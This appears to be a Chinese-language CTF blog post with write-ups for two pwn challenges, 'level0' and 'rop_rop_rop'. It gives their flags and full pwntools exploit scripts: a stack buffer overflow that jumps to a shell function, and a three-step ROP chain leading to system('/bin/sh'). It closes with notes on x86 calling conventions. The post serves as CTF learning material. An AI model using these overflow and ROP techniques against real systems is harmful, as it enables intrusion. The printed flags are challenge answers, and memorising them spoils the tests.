August 14, 2018

pwn

题解

level0

CTF{713ca3944e92180e0ef03171981dcd41}

vulnerable_function 里 buf 只有 0x80 大小,但读取 0x200 个字符;函数里还有 callsystem。将 r 之前的都随意填充掉,跟上 callsystem 的地址就好了。

from pwn import *

io = remote("pwn2.jarvisoj.com", 9881)
elf = ELF("./level0")
io.send("a" * (0x80 + 0x8) + p64(elf.symbols["callsystem"]))
io.interactive()

rop_rop_rop

islab{佳婷姐姐强啊!}

Step3 里有 system(str),str 经过 step1-3 被赋值成“/bin/sh”,所以要把 step1-3 都走完。

GetUserInput 里 buf 在 ret 下面,应该没法栈溢出;MyStrcpy 复制数组直到’\n’,考虑用它给 buf 赋值使 main 函数栈溢出。绕过 p 长度检验就用’\0’代替’A’填充好了。

然后我打算构建一个 payload 一次输入能连着运行三个函数,但实在不知道 ebp 该怎么返回、返回到哪,问了学长才知道可以返回到输入函数那里——我完全忘了参数上面还应该有主调函数中下一个指令的地址了,以为返回主调函数全靠 ebp 指着的 prev ebp……

然后发现传参的 p32(-1565276971)总是报错,找到了 struct.pack(‘i’, -1565276971)。

#!/usr/bin/env python
# coding:utf-8

from pwn import *
from struct import pack

# io = process("./rop_rop_rop")
io = remote("10.4.21.55", 9005)
elf = ELF("./rop_rop_rop")

input_addr = elf.symbols["main"]
func1_addr = elf.symbols["Step1"]
func2_addr = elf.symbols["Step2"]
func3_addr = elf.symbols["Step3"]

arg1 = p32(0) + p32(1094795585) + pack("i", -1565276971)
arg2 = pack("i", -14309420) + p32(1094795585)
arg3 = pack("i", -1) + p32(202116108) + pack("i", -1702716798)

payload1 = "\0" * (0xc + 0x4) + p32(func1_addr) + p32(input_addr) + arg1 + "\n"
payload2 = "\0" * (0xc + 0x4) + p32(func2_addr) + p32(input_addr) + arg2
payload3 = "\0" * (0xc + 0x4) + p32(func3_addr) + p32(input_addr) + arg3

io.send(payload1)
io.sendline(payload2)
io.sendline(payload3)

io.interactive()

调用函数大致过程

  1. 将 eax、ecx、edx 压栈(如果被调函数要改变这些寄存器的值)
  2. 将被调函数的参数按从右向左的顺序压入栈中
  3. 将 eip(被调函数后下一条指令)压入栈中,并跳转到被调函数的地址

(主调函数的工作干完了)

  1. 将 ebp 压入栈中
  2. 把 esp 赋值给 ebp,使其指向新的栈帧的栈底(就是老的 ebp)
  3. 将 ebx、esi、edi 压栈(如果被调函数要改变这些寄存器的值)
  4. 给局部变量分配空间(局部变量用 ebp-便宜找到,参数用 epb+便宜)
  5. 进行被调函数的各种操作
  6. 返回值(整形给 eax,浮点型给浮点寄存器,结构体就存在栈里)

(被调函数完了)

  1. 做了 6 就恢复那些寄存器的值
  2. 把 ebp 的值传给 esp
  3. popl %ebp(看图好像是 ebp=老 ebp 的赋值)
  4. ret(popl %eip)
  5. 把参数弹出栈
  6. 把返回值存下来(movl %eax, wherever……)
  7. 做了 1 就恢复这些寄存器

要返回一个指定函数时函数地址和参数之间还有一行函数执行完后指令的地址,相当于上面的第 3 条。

这些是看网上找的 ppt里抄的,这个有讲函数调用完怎么恢复。

如无特殊声明,本页内容采用 CC BY-NC 4.0 授权


Made With Notepad